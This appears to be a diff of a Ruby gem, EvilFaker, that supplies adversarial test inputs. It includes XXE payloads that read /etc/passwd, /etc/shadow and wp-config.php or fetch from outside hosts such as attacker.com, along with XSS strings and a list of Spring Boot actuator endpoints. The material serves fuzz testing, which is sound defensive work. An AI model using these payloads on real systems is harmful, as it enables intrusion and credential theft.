89
+ <?xml version="1.0" encoding="utf-16" standalone="yes"?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>https://wordpress.org/</string></value></param><param><value><string>http://xerosecurity.com</string></value></param></params></methodCall>
90
+ <xml version="1.0"?><!DOCTYPE XXE [<!ELEMENT methodName ANY ><!ENTITY xxe SYSTEM "../../../../../../../etc/passwd">]><methodCall><methodName>&xxe</methodName></methodCall>
91
+ <xml version="1.0"?><!DOCTYPE XXE [<!ELEMENT methodName ANY ><!ENTITY xxe SYSTEM "http://xerosecurity.com/.testing/rfi_vuln.txt">]><methodCall><methodName>&xxe</methodName></methodCall>
92
+ <xml version="1.0"?><!DOCTYPE XXE [<!ELEMENT methodName ANY ><!ENTITY xxe SYSTEM "https://crowdshield.com/.testing/rfi_vuln.txt">]><methodCall><methodName>&xxe</methodName></methodCall>
93
+ <xml ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></xml><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
94
+ <?xml version="1.0" encoding="utf-8"?><!DOCTYPE doc [<!ELEMENT test ANY ><!ENTITY xxe SYSTEM "php://filter/read-convert.base64-encode/resource=file:///C:/htdocs/wordpress/wp-config.php" >]><doc><test>Contents of file: &xxe;</test></doc>
95
+ <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo><?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/shadow">]><foo>&xxe;</foo>
96
+ <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo> <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt">]><foo>&xxe;</foo>
97
+ }}</script><script>alert(1);</script></body></html><!--
98
+ "}}</script>'
99
+ }}</script>""'"
100
+ <?xml version="1.0" standalone="yes"?><!DOCTYPE ernw [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]><svg width="500px" height="40px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">&xxe;</svg>
101
+ <?xml version="1.0" standalone="yes"?><!DOCTYPE ernw [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]><svg width="500px" height="100px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-family="Verdana" font-size="16" x="10" y="40">&xxe;</text></svg>
102
+ <![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]>
@@ -0,0 +1,52 @@
1
+ auditevents
2
+ autoconfig
3
+ beans
4
+ caches
5
+ conditions
6
+ configprops
7
+ dump
8
+ env
9
+ flyway
10
+ health
11
+ heapdump
12
+ httptrace
13
+ info
14
+ integrationgraph
15
+ jolokia
16
+ logfile
17
+ loggers
18
+ liquibase
19
+ metrics
20
+ mappings
21
+ prometheus
22
+ scheduledtasks
23
+ sessions
24
+ shutdown
25
+ threaddump
26
+ trace
27
+ actuator/auditevents
28
+ actuator/autoconfig
29
+ actuator/beans
30
+ actuator/caches
31
+ actuator/conditions
32
+ actuator/configprops
33
+ actuator/dump
34
+ actuator/env
35
+ actuator/flyway
36
+ actuator/health
37
+ actuator/heapdump
38
+ actuator/httptrace
39
+ actuator/info
40
+ actuator/integrationgraph
41
+ actuator/jolokia
42
+ actuator/logfile
43
+ actuator/loggers
44
+ actuator/liquibase
45
+ actuator/metrics
46
+ actuator/mappings
47
+ actuator/prometheus
48
+ actuator/scheduledtasks
49
+ actuator/sessions
50
+ actuator/shutdown
51
+ actuator/threaddump
52
+ actuator/trace
@@ -0,0 +1,11 @@
1
+ # frozen_string_literal: true
2
+
3
+ module EvilFaker
4
+ # Generated by scripts/generate_namespaces.rb -- do not edit by hand.
5
+ class Email < Base
6
+ group "email"
7
+
8
+ subtype :invalid
9
+ subtype :valid
10
+ end
11
+ end
@@ -0,0 +1,12 @@
1
+ # frozen_string_literal: true
2
+
3
+ module EvilFaker
4
+ # Generated by scripts/generate_namespaces.rb -- do not edit by hand.
5
+ class Emoji < Base
6
+ group "emoji"
7
+
8
+ subtype :emoji
9
+ subtype :emoticons
10
+ subtype :regional
11
+ end
12
+ end
@@ -0,0 +1,13 @@
1
+ # frozen_string_literal: true
2
+
3
+ module EvilFaker
4
+ # Generated by scripts/generate_namespaces.rb -- do not edit by hand.
5
+ class Exploits < Base
6
+ group "exploits"
7
+
8
+ subtype :cves
9
+ subtype :human
10
+ subtype :ios
11
+ subtype :irc
12
+ end
13
+ end
@@ -0,0 +1,8 @@
1
+ # frozen_string_literal: true
2
+
3
+ module EvilFaker
4
+ # Generated by scripts/generate_namespaces.rb -- do not edit by hand.
5
+ class Filenames < Base
6
+ group "filenames"
7
+ end
8
+ end
@@ -0,0 +1,12 @@
1
+ # frozen_string_literal: true
2
+
3
+ module EvilFaker
4
+ # Generated by scripts/generate_namespaces.rb -- do not edit by hand.
5
+ class Headers < Base
6
+ group "headers"
7
+
8
+ subtype :cache_deception
9
+ subtype :mimetypes
10
+ subtype :protocol
11
+ end
12
+ end
@@ -0,0 +1,35 @@
1
+ # frozen_string_literal: true
2
+
3
+ module EvilFaker
4
+ # Generated by scripts/generate_namespaces.rb -- do not edit by hand.
5
+ class Injection < Base
6
+ group "injection"
7
+
8
+ subtype :command
9
+ subtype :directory_traversal
10
+ subtype :file_inclusion
11
+ subtype :file_upload_bypass
12
+ subtype :format_strings
13
+ subtype :generic
14
+ subtype :integer_overflow
15
+ subtype :interpolation
16
+ subtype :jinja2
17
+ subtype :json
18
+ subtype :ldap
19
+ subtype :magic_hashes
20
+ subtype :nosql
21
+ subtype :open_redirect
22
+ subtype :overflow
23
+ subtype :rfi
24
+ subtype :script
25
+ subtype :server_code
26
+ subtype :server_side_include
27
+ subtype :source_disclosure
28
+ subtype :sql
29
+ subtype :ssrf
30
+ subtype :ssti
31
+ subtype :type_confusion
32
+ subtype :xpath
33
+ subtype :xxe
34
+ end
35
+ end
@@ -0,0 +1,11 @@
1
+ # frozen_string_literal: true
2
+
3
+ module EvilFaker
4
+ # Generated by scripts/generate_namespaces.rb -- do not edit by hand.
5
+ class Numeric < Base
6
+ group "numeric"
7
+
8
+ subtype :numeric
9
+ subtype :unicode_numbers
10
+ end
11
+ end
@@ -0,0 +1,8 @@
1
+ # frozen_string_literal: true
2
+
3
+ module EvilFaker
4
+ # Generated by scripts/generate_namespaces.rb -- do not edit by hand.
5
+ class Profanity < Base
6
+ group "profanity"
7
+ end
8
+ end
@@ -0,0 +1,8 @@
1
+ # frozen_string_literal: true
2
+
3
+ module EvilFaker
4
+ # Generated by scripts/generate_namespaces.rb -- do not edit by hand.
5
+ class Reserved < Base
6
+ group "reserved"
7
+ end
8
+ end
@@ -0,0 +1,13 @@
1
+ # frozen_string_literal: true
2
+
3
+ module EvilFaker
4
+ # Generated by scripts/generate_namespaces.rb -- do not edit by hand.
5
+ class Routes < Base
6
+ group "routes"
7
+
8
+ subtype :admin_interfaces
9
+ subtype :debug_params
10
+ subtype :directory_indexing
11
+ subtype :local_paths
12
+ end
13
+ end
@@ -0,0 +1,8 @@
1
+ # frozen_string_literal: true
2
+
3
+ module EvilFaker
4
+ # Generated by scripts/generate_namespaces.rb -- do not edit by hand.
5
+ class Rtl < Base
6
+ group "rtl"
7
+ end
8
+ end
@@ -0,0 +1,8 @@
1
+ # frozen_string_literal: true
2
+
3
+ module EvilFaker
4
+ # Generated by scripts/generate_namespaces.rb -- do not edit by hand.
5
+ class Terminal < Base
6
+ group "terminal"
7
+ end
8
+ end
@@ -0,0 +1,23 @@
1
+ # frozen_string_literal: true
2
+
3
+ module EvilFaker
4
+ # Generated by scripts/generate_namespaces.rb -- do not edit by hand.
5
+ class Unicode < Base
6
+ group "unicode"
7
+
8
+ subtype :accents
9
+ subtype :bad_chars
10
+ subtype :bom
11
+ subtype :controls
12
+ subtype :font
13
+ subtype :lowercase
14
+ subtype :quotes
15
+ subtype :scripts
16
+ subtype :special
17
+ subtype :symbols
18
+ subtype :trick
19
+ subtype :two_byte
20
+ subtype :upsidedown
21
+ subtype :whitespace
22
+ end
23
+ end
@@ -0,0 +1,8 @@
1
+ # frozen_string_literal: true
2
+
3
+ module EvilFaker
4
+ # Generated by scripts/generate_namespaces.rb -- do not edit by hand.
5
+ class Zalgo < Base
6
+ group "zalgo"
7
+ end
8
+ end
@@ -0,0 +1,30 @@
1
+ # frozen_string_literal: true
2
+
3
+ module EvilFaker
4
+ # Base class for per-source namespaces (e.g. Blns): exposes the entire
5
+ # corpus of one source, flattened across all its namespace/subtype files.
6
+ # Complements the category namespaces (Injection, Unicode, ...), which
7
+ # cut across sources -- this cuts across categories instead.
8
+ class SourceBase
9
+ DATA_DIR = File.expand_path("data/groups", __dir__)
10
+
11
+ class << self
12
+ # Declares this namespace's source, read from groups/<name>/**/*.txt.
13
+ def source(name)
14
+ @source = name
15
+ end
16
+
17
+ def all
18
+ @all ||= Dir.glob(File.join(DATA_DIR, @source.to_s, "**", "*.txt")).sort.flat_map do |path|
19
+ File.readlines(path, chomp: true)
20
+ end
21
+ end
22
+
23
+ def sample(count = nil)
24
+ return all.sample(count) if count
25
+
26
+ all.sample
27
+ end
28
+ end
29
+ end
30
+ end
@@ -0,0 +1,8 @@
1
+ # frozen_string_literal: true
2
+
3
+ module EvilFaker
4
+ # Generated by scripts/generate_namespaces.rb -- do not edit by hand.
5
+ class Blns < SourceBase
6
+ source "blns"
7
+ end
8
+ end
@@ -0,0 +1,8 @@
1
+ # frozen_string_literal: true
2
+
3
+ module EvilFaker
4
+ # Generated by scripts/generate_namespaces.rb -- do not edit by hand.
5
+ class Fuzzdb < SourceBase
6
+ source "fuzzdb"
7
+ end
8
+ end
@@ -0,0 +1,8 @@
1
+ # frozen_string_literal: true
2
+
3
+ module EvilFaker
4
+ # Generated by scripts/generate_namespaces.rb -- do not edit by hand.
5
+ class IntruderPayloads < SourceBase
6
+ source "intruder_payloads"
7
+ end
8
+ end
@@ -0,0 +1,8 @@
1
+ # frozen_string_literal: true
2
+
3
+ module EvilFaker
4
+ # Generated by scripts/generate_namespaces.rb -- do not edit by hand.
5
+ class PayloadsAllTheThings < SourceBase
6
+ source "payloads_all_the_things"
7
+ end
8
+ end
@@ -0,0 +1,5 @@
1
+ # frozen_string_literal: true
2
+
3
+ module EvilFaker
4
+ VERSION = "0.1.0"
5
+ end
data/lib/evil_faker.rb ADDED
@@ -0,0 +1,13 @@
1
+ # frozen_string_literal: true
2
+
3
+ require_relative "evil_faker/version"
4
+
5
+ # EvilFaker: adversarial input for Ruby.
6
+ module EvilFaker
7
+ class Error < StandardError; end
8
+ end
9
+
10
+ require_relative "evil_faker/base"
11
+ require_relative "evil_faker/source_base"
12
+ Dir[File.join(__dir__, "evil_faker/groups/*.rb")].sort.each { |f| require_relative f }
13
+ Dir[File.join(__dir__, "evil_faker/sources/*.rb")].sort.each { |f| require_relative f }